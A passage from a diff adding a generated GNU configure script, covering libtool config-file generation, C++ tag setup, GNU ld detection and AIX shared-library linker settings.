package, and you will get complaints that there are +# no rules to generate ltmain.sh. +if test -f "$ltmain"; then + # See if we are running on zsh, and set the options which allow our commands through + # without removal of \ escapes. + if test -n "${ZSH_VERSION+set}" ; then + setopt NO_GLOB_SUBST + fi + # Now quote all the things that may contain metacharacters while being + # careful not to overquote the AC_SUBSTed values. We take copies of the + # variables and quote the copies for generation of the libtool script. + for var in echo old_CC old_CFLAGS AR AR_FLAGS EGREP RANLIB LN_S LTCC NM \ + SED SHELL STRIP \ + libname_spec library_names_spec soname_spec extract_expsyms_cmds \ + old_striplib striplib file_magic_cmd finish_cmds finish_eval \ + deplibs_check_method reload_flag reload_cmds need_locks \ + lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \ + lt_cv_sys_global_symbol_to_c_name_address \ + sys_lib_search_path_spec sys_lib_dlsearch_path_spec \ + old_postinstall_cmds old_postuninstall_cmds \ + compiler \ + CC \ + LD \ + lt_prog_compiler_wl \ + lt_prog_compiler_pic \ + lt_prog_compiler_static \ + lt_prog_compiler_no_builtin_flag \ + export_dynamic_flag_spec \ + thread_safe_flag_spec \ + whole_archive_flag_spec \ + enable_shared_with_static_runtimes \ + old_archive_cmds \ + old_archive_from_new_cmds \ + predep_objects \ + postdep_objects \ + predeps \ + postdeps \ + compiler_lib_search_path \ + archive_cmds \ + archive_expsym_cmds \ + postinstall_cmds \ + postuninstall_cmds \ + old_archive_from_expsyms_cmds \ + allow_undefined_flag \ + no_undefined_flag \ + export_symbols_cmds \ + hardcode_libdir_flag_spec \ + hardcode_libdir_flag_spec_ld \ + hardcode_libdir_separator \ + hardcode_automatic \ + module_cmds \ + module_expsym_cmds \ + lt_cv_prog_compiler_c_o \ + exclude_expsyms \ + include_expsyms; do + + case $var in + old_archive_cmds | \ + old_archive_from_new_cmds | \ + archive_cmds | \ + archive_expsym_cmds | \ + module_cmds | \ + module_expsym_cmds | \ + old_archive_from_expsyms_cmds | \ + export_symbols_cmds | \ + extract_expsyms_cmds | reload_cmds | finish_cmds | \ + postinstall_cmds | postuninstall_cmds | \ + old_postinstall_cmds | old_postuninstall_cmds | \ + sys_lib_search_path_spec | sys_lib_dlsearch_path_spec) + # Double-quote double-evaled strings. + eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\\\"" + ;; + *) + eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quote_subst\"\`\\\"" + ;; + esac + done + + case $lt_echo in + *'\$0 --fallback-echo"') + lt_echo=`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\$0 --fallback-echo"$/$0 --fallback-echo"/'` + ;; + esac + +cfgfile="${ofile}T" + trap "$rm \"$cfgfile\"; exit 1" 1 2 15 + $rm -f "$cfgfile" + { echo "$as_me:$LINENO: creating $ofile" >&5 +echo "$as_me: creating $ofile" >&6;} + + cat <<__EOF__ >> "$cfgfile" +#! $SHELL + +# `$echo "$cfgfile" | sed 's%^.*/%%'` - Provide generalized library-building support services. +# Generated automatically by $PROGRAM (GNU $PACKAGE $VERSION$TIMESTAMP) +# NOTE: Changes made to this file will be lost: look at ltmain.sh. +# +# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001 +# Free Software Foundation, Inc. +# +# This file is part of GNU Libtool: +# Originally by Gordon Matzigkeit , 1996 +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. +# +# As a special exception to the GNU General Public License, if you +# distribute this file as part of a program that contains a +# configuration script generated by Autoconf, you may include it under +# the same distribution terms that you use for the rest of that program. + +# A sed program that does not truncate output. +SED=$lt_SED + +# Sed that helps us avoid accidentally triggering echo(1) options like -n. +Xsed="$SED -e s/^X//" + +# The HP-UX ksh and POSIX shell print the target directory to stdout +# if CDPATH is set. +(unset CDPATH) >/dev/null 2>&1 && unset CDPATH + +# The names of the tagged configurations supported by this script. +available_tags= + +# ### BEGIN LIBTOOL CONFIG + +# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`: + +# Shell to use when invoking shell scripts. +SHELL=$lt_SHELL + +# Whether or not to build shared libraries. +build_libtool_libs=$enable_shared + +# Whether or not to build static libraries. +build_old_libs=$enable_static + +# Whether or not to add -lc for building shared libraries. +build_libtool_need_lc=$archive_cmds_need_lc + +# Whether or not to disallow shared libs when runtime libs are static +allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes + +# Whether or not to optimize for fast installation. +fast_install=$enable_fast_install + +# The host system. +host_alias=$host_alias +host=$host + +# An echo program that does not interpret backslashes. +echo=$lt_echo + +# The archiver. +AR=$lt_AR +AR_FLAGS=$lt_AR_FLAGS + +# A C compiler. +LTCC=$lt_LTCC + +# A language-specific compiler. +CC=$lt_compiler + +# Is the compiler the GNU C compiler? +with_gcc=$GCC + +# An ERE matcher. +EGREP=$lt_EGREP + +# The linker used to build libraries. +LD=$lt_LD + +# Whether we need hard or soft links. +LN_S=$lt_LN_S + +# A BSD-compatible nm program. +NM=$lt_NM + +# A symbol stripping program +STRIP=$lt_STRIP + +# Used to examine libraries when file_magic_cmd begins "file" +MAGIC_CMD=$MAGIC_CMD + +# Used on cygwin: DLL creation program. +DLLTOOL="$DLLTOOL" + +# Used on cygwin: object dumper. +OBJDUMP="$OBJDUMP" + +# Used on cygwin: assembler. +AS="$AS" + +# The name of the directory that contains temporary libtool files. +objdir=$objdir + +# How to create reloadable object files. +reload_flag=$lt_reload_flag +reload_cmds=$lt_reload_cmds + +# How to pass a linker flag through the compiler. +wl=$lt_lt_prog_compiler_wl + +# Object file suffix (normally "o"). +objext="$ac_objext" + +# Old archive suffix (normally "a"). +libext="$libext" + +# Shared library suffix (normally ".so"). +shrext_cmds='$shrext_cmds' + +# Executable file suffix (normally ""). +exeext="$exeext" + +# Additional compiler flags for building library objects. +pic_flag=$lt_lt_prog_compiler_pic +pic_mode=$pic_mode + +# What is the maximum length of a command? +max_cmd_len=$lt_cv_sys_max_cmd_len + +# Does compiler simultaneously support -c and -o options? +compiler_c_o=$lt_lt_cv_prog_compiler_c_o + +# Must we lock files when doing compilation ? +need_locks=$lt_need_locks + +# Do we need the lib prefix for modules? +need_lib_prefix=$need_lib_prefix + +# Do we need a version for libraries? +need_version=$need_version + +# Whether dlopen is supported. +dlopen_support=$enable_dlopen + +# Whether dlopen of programs is supported. +dlopen_self=$enable_dlopen_self + +# Whether dlopen of statically linked programs is supported. +dlopen_self_static=$enable_dlopen_self_static + +# Compiler flag to prevent dynamic linking. +link_static_flag=$lt_lt_prog_compiler_static + +# Compiler flag to turn off builtin functions. +no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag + +# Compiler flag to allow reflexive dlopens. +export_dynamic_flag_spec=$lt_export_dynamic_flag_spec + +# Compiler flag to generate shared objects directly from archives. +whole_archive_flag_spec=$lt_whole_archive_flag_spec + +# Compiler flag to generate thread-safe objects. +thread_safe_flag_spec=$lt_thread_safe_flag_spec + +# Library versioning type. +version_type=$version_type + +# Format of library name prefix. +libname_spec=$lt_libname_spec + +# List of archive names. First name is the real one, the rest are links. +# The last name is the one that the linker finds with -lNAME. +library_names_spec=$lt_library_names_spec + +# The coded name of the library, if different from the real name. +soname_spec=$lt_soname_spec + +# Commands used to build and install an old-style archive. +RANLIB=$lt_RANLIB +old_archive_cmds=$lt_old_archive_cmds +old_postinstall_cmds=$lt_old_postinstall_cmds +old_postuninstall_cmds=$lt_old_postuninstall_cmds + +# Create an old-style archive from a shared archive. +old_archive_from_new_cmds=$lt_old_archive_from_new_cmds + +# Create a temporary old-style archive to link instead of a shared archive. +old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds + +# Commands used to build and install a shared archive. +archive_cmds=$lt_archive_cmds +archive_expsym_cmds=$lt_archive_expsym_cmds +postinstall_cmds=$lt_postinstall_cmds +postuninstall_cmds=$lt_postuninstall_cmds + +# Commands used to build a loadable module (assumed same as above if empty) +module_cmds=$lt_module_cmds +module_expsym_cmds=$lt_module_expsym_cmds + +# Commands to strip libraries. +old_striplib=$lt_old_striplib +striplib=$lt_striplib + +# Dependencies to place before the objects being linked to create a +# shared library. +predep_objects=$lt_predep_objects + +# Dependencies to place after the objects being linked to create a +# shared library. +postdep_objects=$lt_postdep_objects + +# Dependencies to place before the objects being linked to create a +# shared library. +predeps=$lt_predeps + +# Dependencies to place after the objects being linked to create a +# shared library. +postdeps=$lt_postdeps + +# The library search path used internally by the compiler when linking +# a shared library. +compiler_lib_search_path=$lt_compiler_lib_search_path + +# Method to check whether dependent libraries are shared objects. +deplibs_check_method=$lt_deplibs_check_method + +# Command to use when deplibs_check_method == file_magic. +file_magic_cmd=$lt_file_magic_cmd + +# Flag that allows shared libraries with undefined symbols to be built. +allow_undefined_flag=$lt_allow_undefined_flag + +# Flag that forces no undefined symbols. +no_undefined_flag=$lt_no_undefined_flag + +# Commands used to finish a libtool library installation in a directory. +finish_cmds=$lt_finish_cmds + +# Same as above, but a single script fragment to be evaled but not shown. +finish_eval=$lt_finish_eval + +# Take the output of nm and produce a listing of raw symbols and C names. +global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe + +# Transform the output of nm in a proper C declaration +global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl + +# Transform the output of nm in a C name address pair +global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address + +# This is the shared library runtime path variable. +runpath_var=$runpath_var + +# This is the shared library path variable. +shlibpath_var=$shlibpath_var + +# Is shlibpath searched before the hard-coded library search path? +shlibpath_overrides_runpath=$shlibpath_overrides_runpath + +# How to hardcode a shared library path into an executable. +hardcode_action=$hardcode_action + +# Whether we should hardcode library paths into libraries. +hardcode_into_libs=$hardcode_into_libs + +# Flag to hardcode \$libdir into a binary during linking. +# This must work even if \$libdir does not exist. +hardcode_libdir_flag_spec=$lt_hardcode_libdir_flag_spec + +# If ld is used when linking, flag to hardcode \$libdir into +# a binary during linking. This must work even if \$libdir does +# not exist. +hardcode_libdir_flag_spec_ld=$lt_hardcode_libdir_flag_spec_ld + +# Whether we need a single -rpath flag with a separated argument. +hardcode_libdir_separator=$lt_hardcode_libdir_separator + +# Set to yes if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the +# resulting binary. +hardcode_direct=$hardcode_direct + +# Set to yes if using the -LDIR flag during linking hardcodes DIR into the +# resulting binary. +hardcode_minus_L=$hardcode_minus_L + +# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into +# the resulting binary. +hardcode_shlibpath_var=$hardcode_shlibpath_var + +# Set to yes if building a shared library automatically hardcodes DIR into the library +# and all subsequent libraries and executables linked against it. +hardcode_automatic=$hardcode_automatic + +# Variables whose values should be saved in libtool wrapper scripts and +# restored at relink time. +variables_saved_for_relink="$variables_saved_for_relink" + +# Whether libtool must link a program against all its dependency libraries. +link_all_deplibs=$link_all_deplibs + +# Compile-time system search path for libraries +sys_lib_search_path_spec=$lt_sys_lib_search_path_spec + +# Run-time system search path for libraries +sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec + +# Fix the shell variable \$srcfile for the compiler. +fix_srcfile_path="$fix_srcfile_path" + +# Set to yes if exported symbols are required. +always_export_symbols=$always_export_symbols + +# The commands to list exported symbols. +export_symbols_cmds=$lt_export_symbols_cmds + +# The commands to extract the exported symbol list from a shared archive. +extract_expsyms_cmds=$lt_extract_expsyms_cmds + +# Symbols that should not be listed in the preloaded symbols. +exclude_expsyms=$lt_exclude_expsyms + +# Symbols that must always be exported. +include_expsyms=$lt_include_expsyms + +# ### END LIBTOOL CONFIG + +__EOF__ + + + case $host_os in + aix3*) + cat <<\EOF >> "$cfgfile" + +# AIX sometimes has problems with the GCC collect2 program. For some +# reason, if we set the COLLECT_NAMES environment variable, the problems +# vanish in a puff of smoke. +if test "X${COLLECT_NAMES+set}" != Xset; then + COLLECT_NAMES= + export COLLECT_NAMES +fi +EOF + ;; + esac + + # We use sed instead of cat because bash on DJGPP gets confused if + # if finds mixed CR/LF and LF-only lines. Since sed operates in + # text mode, it properly converts lines to CR/LF. This bash problem + # is reportedly fixed, but why not run on old versions too? + sed '$q' "$ltmain" >> "$cfgfile" || (rm -f "$cfgfile"; exit 1) + + mv -f "$cfgfile" "$ofile" || \ + (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile") + chmod +x "$ofile" + +else + # If there is no Makefile yet, we rely on a make rule to execute + # `config.status --recheck' to rerun these tests and create the + # libtool script then. + ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'` + if test -f "$ltmain_in"; then + test -f Makefile && make "$ltmain" + fi +fi + + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + +CC="$lt_save_CC" + + +# Check whether --with-tags was given. +if test "${with_tags+set}" = set; then + withval=$with_tags; tagnames="$withval" +fi + + +if test -f "$ltmain" && test -n "$tagnames"; then + if test ! -f "${ofile}"; then + { echo "$as_me:$LINENO: WARNING: output file \`$ofile' does not exist" >&5 +echo "$as_me: WARNING: output file \`$ofile' does not exist" >&2;} + fi + + if test -z "$LTCC"; then + eval "`$SHELL ${ofile} --config | grep '^LTCC='`" + if test -z "$LTCC"; then + { echo "$as_me:$LINENO: WARNING: output file \`$ofile' does not look like a libtool script" >&5 +echo "$as_me: WARNING: output file \`$ofile' does not look like a libtool script" >&2;} + else + { echo "$as_me:$LINENO: WARNING: using \`LTCC=$LTCC', extracted from \`$ofile'" >&5 +echo "$as_me: WARNING: using \`LTCC=$LTCC', extracted from \`$ofile'" >&2;} + fi + fi + + # Extract list of available tagged configurations in $ofile. + # Note that this assumes the entire list is on one line. + available_tags=`grep "^available_tags=" "${ofile}" | $SED -e 's/available_tags=\(.*$\)/\1/' -e 's/\"//g'` + + lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," + for tagname in $tagnames; do + IFS="$lt_save_ifs" + # Check whether tagname contains only valid characters + case `$echo "X$tagname" | $Xsed -e 's:[-_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890,/]::g'` in + "") ;; + *) { { echo "$as_me:$LINENO: error: invalid tag name: $tagname" >&5 +echo "$as_me: error: invalid tag name: $tagname" >&2;} + { (exit 1); exit 1; }; } + ;; + esac + + if grep "^# ### BEGIN LIBTOOL TAG CONFIG: $tagname$" < "${ofile}" > /dev/null + then + { { echo "$as_me:$LINENO: error: tag name \"$tagname\" already exists" >&5 +echo "$as_me: error: tag name \"$tagname\" already exists" >&2;} + { (exit 1); exit 1; }; } + fi + + # Update the list of available tags. + if test -n "$tagname"; then + echo appending configuration tag \"$tagname\" to $ofile + + case $tagname in + CXX) + if test -n "$CXX" && test "X$CXX" != "Xno"; then + ac_ext=cpp +ac_cpp='$CXXCPP $CPPFLAGS' +ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_cxx_compiler_gnu + + + + +archive_cmds_need_lc_CXX=no +allow_undefined_flag_CXX= +always_export_symbols_CXX=no +archive_expsym_cmds_CXX= +export_dynamic_flag_spec_CXX= +hardcode_direct_CXX=no +hardcode_libdir_flag_spec_CXX= +hardcode_libdir_flag_spec_ld_CXX= +hardcode_libdir_separator_CXX= +hardcode_minus_L_CXX=no +hardcode_automatic_CXX=no +module_cmds_CXX= +module_expsym_cmds_CXX= +link_all_deplibs_CXX=unknown +old_archive_cmds_CXX=$old_archive_cmds +no_undefined_flag_CXX= +whole_archive_flag_spec_CXX= +enable_shared_with_static_runtimes_CXX=no + +# Dependencies to place before and after the object being linked: +predep_objects_CXX= +postdep_objects_CXX= +predeps_CXX= +postdeps_CXX= +compiler_lib_search_path_CXX= + +# Source file extension for C++ test sources. +ac_ext=cc + +# Object file extension for compiled C++ test sources. +objext=o +objext_CXX=$objext + +# Code to be used in simple compile tests +lt_simple_compile_test_code="int some_variable = 0;\n" + +# Code to be used in simple link tests +lt_simple_link_test_code='int main(int, char *) { return(0); }\n' + +# ltmain only uses $CC for tagged configurations so make sure $CC is set. + +# If no C compiler was specified, use CC. +LTCC=${LTCC-"$CC"} + +# Allow CC to be a program name with arguments. +compiler=$CC + + +# Allow CC to be a program name with arguments. +lt_save_CC=$CC +lt_save_LD=$LD +lt_save_GCC=$GCC +GCC=$GXX +lt_save_with_gnu_ld=$with_gnu_ld +lt_save_path_LD=$lt_cv_path_LD +if test -n "${lt_cv_prog_gnu_ldcxx+set}"; then + lt_cv_prog_gnu_ld=$lt_cv_prog_gnu_ldcxx +else + unset lt_cv_prog_gnu_ld +fi +if test -n "${lt_cv_path_LDCXX+set}"; then + lt_cv_path_LD=$lt_cv_path_LDCXX +else + unset lt_cv_path_LD +fi +test -z "${LDCXX+set}" || LD=$LDCXX +CC=${CXX-"c++"} +compiler=$CC +compiler_CXX=$CC +cc_basename=`$echo X"$compiler" | $Xsed -e 's%^.*/%%'` + +# We don't want -fno-exception wen compiling C++ code, so set the +# no_builtin_flag separately +if test "$GXX" = yes; then + lt_prog_compiler_no_builtin_flag_CXX=' -fno-builtin' +else + lt_prog_compiler_no_builtin_flag_CXX= +fi + +if test "$GXX" = yes; then + # Set up default GNU C++ configuration + + +# Check whether --with-gnu-ld was given. +if test "${with_gnu_ld+set}" = set; then + withval=$with_gnu_ld; test "$withval" = no || with_gnu_ld=yes +else + with_gnu_ld=no +fi + +ac_prog=ld +if test "$GCC" = yes; then + # Check if gcc -print-prog-name=ld gives a path. + { echo "$as_me:$LINENO: checking for ld used by $CC" >&5 +echo $ECHO_N "checking for ld used by $CC... $ECHO_C" >&6; } + case $host in + *-*-mingw*) + # gcc leaves a trailing carriage return which upsets mingw + ac_prog=`($CC -print-prog-name=ld) 2>&5 | tr -d '\015'` ;; + *) + ac_prog=`($CC -print-prog-name=ld) 2>&5` ;; + esac + case $ac_prog in + # Accept absolute paths. + [\\/]* | ?:[\\/]*) + re_direlt='/[^/][^/]*/\.\./' + # Canonicalize the pathname of ld + ac_prog=`echo $ac_prog| $SED 's%\\\\%/%g'` + while echo $ac_prog | grep "$re_direlt" > /dev/null 2>&1; do + ac_prog=`echo $ac_prog| $SED "s%$re_direlt%/%"` + done + test -z "$LD" && LD="$ac_prog" + ;; + "") + # If it fails, then pretend we aren't using GCC. + ac_prog=ld + ;; + *) + # If it is relative, then search for the first ld in PATH. + with_gnu_ld=unknown + ;; + esac +elif test "$with_gnu_ld" = yes; then + { echo "$as_me:$LINENO: checking for GNU ld" >&5 +echo $ECHO_N "checking for GNU ld... $ECHO_C" >&6; } +else + { echo "$as_me:$LINENO: checking for non-GNU ld" >&5 +echo $ECHO_N "checking for non-GNU ld... $ECHO_C" >&6; } +fi +if test "${lt_cv_path_LD+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -z "$LD"; then + lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR + for ac_dir in $PATH; do + IFS="$lt_save_ifs" + test -z "$ac_dir" && ac_dir=. + if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exeext"; then + lt_cv_path_LD="$ac_dir/$ac_prog" + # Check to see if the program is GNU ld. I'd rather use --version, + # but apparently some GNU ld's only accept -v. + # Break only if it was the GNU/non-GNU ld that we prefer. + case `"$lt_cv_path_LD" -v 2>&1 &5 +echo "${ECHO_T}$LD" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi +test -z "$LD" && { { echo "$as_me:$LINENO: error: no acceptable ld found in \$PATH" >&5 +echo "$as_me: error: no acceptable ld found in \$PATH" >&2;} + { (exit 1); exit 1; }; } +{ echo "$as_me:$LINENO: checking if the linker ($LD) is GNU ld" >&5 +echo $ECHO_N "checking if the linker ($LD) is GNU ld... $ECHO_C" >&6; } +if test "${lt_cv_prog_gnu_ld+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + # I'd rather use --version here, but apparently some GNU ld's only accept -v. +case `$LD -v 2>&1 &5 +echo "${ECHO_T}$lt_cv_prog_gnu_ld" >&6; } +with_gnu_ld=$lt_cv_prog_gnu_ld + + + + # Check if GNU C++ uses GNU ld as the underlying linker, since the + # archiving commands below assume that GNU ld is being used. + if test "$with_gnu_ld" = yes; then + archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_expsym_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + + hardcode_libdir_flag_spec_CXX='${wl}--rpath ${wl}$libdir' + export_dynamic_flag_spec_CXX='${wl}--export-dynamic' + + # If archive_cmds runs LD, not CC, wlarc should be empty + # XXX I think wlarc can be eliminated in ltcf-cxx, but I need to + # investigate it a little bit more. (MM) + wlarc='${wl}' + + # ancient GNU ld didn't support --whole-archive et. al. + if eval "`$CC -print-prog-name=ld` --help 2>&1" | \ + grep 'no-whole-archive' > /dev/null; then + whole_archive_flag_spec_CXX="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive' + else + whole_archive_flag_spec_CXX= + fi + else + with_gnu_ld=no + wlarc= + + # A generic and very simple default shared library creation + # command for GNU C++ for the case where it uses the native + # linker, instead of GNU ld. If possible, this setting should + # overridden to take advantage of the native linker features on + # the platform it is being used on. + archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib' + fi + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"' + +else + GXX=no + with_gnu_ld=no + wlarc= +fi + +# PORTME: fill in a description of your system's C++ link characteristics +{ echo "$as_me:$LINENO: checking whether the $compiler linker ($LD) supports shared libraries" >&5 +echo $ECHO_N "checking whether the $compiler linker ($LD) supports shared libraries... $ECHO_C" >&6; } +ld_shlibs_CXX=yes +case $host_os in + aix3*) + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; + aix4* | aix5*) + if test "$host_cpu" = ia64; then + # On IA64, the linker does run time linking by default, so we don't + # have to do anything special. + aix_use_runtimelinking=no + exp_sym_flag='-Bexport' + no_entry_flag="" + else + aix_use_runtimelinking=no + + # Test if we are trying to use run time linking or normal + # AIX style linking. If -brtl is somewhere in LDFLAGS, we + # need to do runtime linking. + case $host_os in aix4.[23]|aix4.[23].*|aix5*) + for ld_flag in $LDFLAGS; do + case $ld_flag in + *-brtl*) + aix_use_runtimelinking=yes + break + ;; + esac + done + esac + + exp_sym_flag='-bexport' + no_entry_flag='-bnoentry' + fi + + # When large executables or shared objects are built, AIX ld can + # have problems creating the table of contents. If linking a library + # or program results in "error TOC overflow" add -mminimal-toc to + # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not + # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS. + + archive_cmds_CXX='' + hardcode_direct_CXX=yes + hardcode_libdir_separator_CXX=':' + link_all_deplibs_CXX=yes + + if test "$GXX" = yes; then + case $host_os in aix4.012|aix4.012.*) + # We only want to do this on AIX 4.2 and lower, the check + # below for broken collect2 doesn't work under 4.3+ + collect2name=`${CC} -print-prog-name=collect2` + if test -f "$collect2name" && \ + strings "$collect2name" | grep resolve_lib_name >/dev/null + then + # We have reworked collect2 + hardcode_direct_CXX=yes + else + # We have old collect2 + hardcode_direct_CXX=unsupported + # It fails to find uninstalled libraries when the uninstalled + # path is not listed in the libpath. Setting hardcode_minus_L + # to unsupported forces relinking + hardcode_minus_L_CXX=yes + hardcode_libdir_flag_spec_CXX='-L$libdir' + hardcode_libdir_separator_CXX= + fi + esac + shared_flag='-shared' + else + # not using gcc + if test "$host_cpu" = ia64; then + # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release + # chokes on -Wl,-G. The following line is correct: + shared_flag='-G' + else + if test "$aix_use_runtimelinking" = yes; then + shared_flag='${wl}-G' + else + shared_flag='${wl}-bM:SRE' + fi + fi + fi + + # It seems that -bexpall does not export symbols beginning with + # underscore (_), so it is better to generate a list of symbols to export. + always_export_symbols_CXX=yes + if test "$aix_use_runtimelinking" = yes; then + # Warning - without using the other runtime loading flags (-brtl), + # -berok will link without error, but may produce a broken library. + allow_undefined_flag_CXX='-berok' + # Determine the default libpath from the value encoded in an empty executable. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + +aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'` +# Check for a 64-bit object if we didn't find anything. +if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'`; fi +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi + + hardcode_libdir_flag_spec_CXX='${wl}-blibpath:$libdir:'"$aix_libpath" + + archive_expsym_cmds_CXX="\$CC"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$no_entry_flag \${wl}$exp_sym_flag:\$export_symbols $shared_flag" + else + if test "$host_cpu" = ia64; then + hardcode_libdir_flag_spec_CXX='${wl}-R $libdir:/usr/lib:/lib' + allow_undefined_flag_CXX="-z nodefs" + archive_expsym_cmds_CXX="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$no_entry_flag \${wl}$exp_sym_flag:\$export_symbols" + else + # Determine the default libpath from the value encoded in an empty executable. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; 